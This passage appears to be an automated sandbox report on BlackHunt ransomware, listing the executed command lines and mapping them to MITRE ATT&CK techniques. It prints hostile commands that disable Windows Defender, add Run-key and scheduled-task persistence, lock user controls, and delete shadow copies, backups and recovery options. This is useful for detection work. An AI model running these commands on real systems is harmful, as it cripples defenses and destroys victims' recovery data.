  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe" /F
  2⤵
  PID:5084
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2824
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2880
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4368
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4008
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3904
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2788
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:644
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4168
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5396

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3732

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6696

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:7012

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery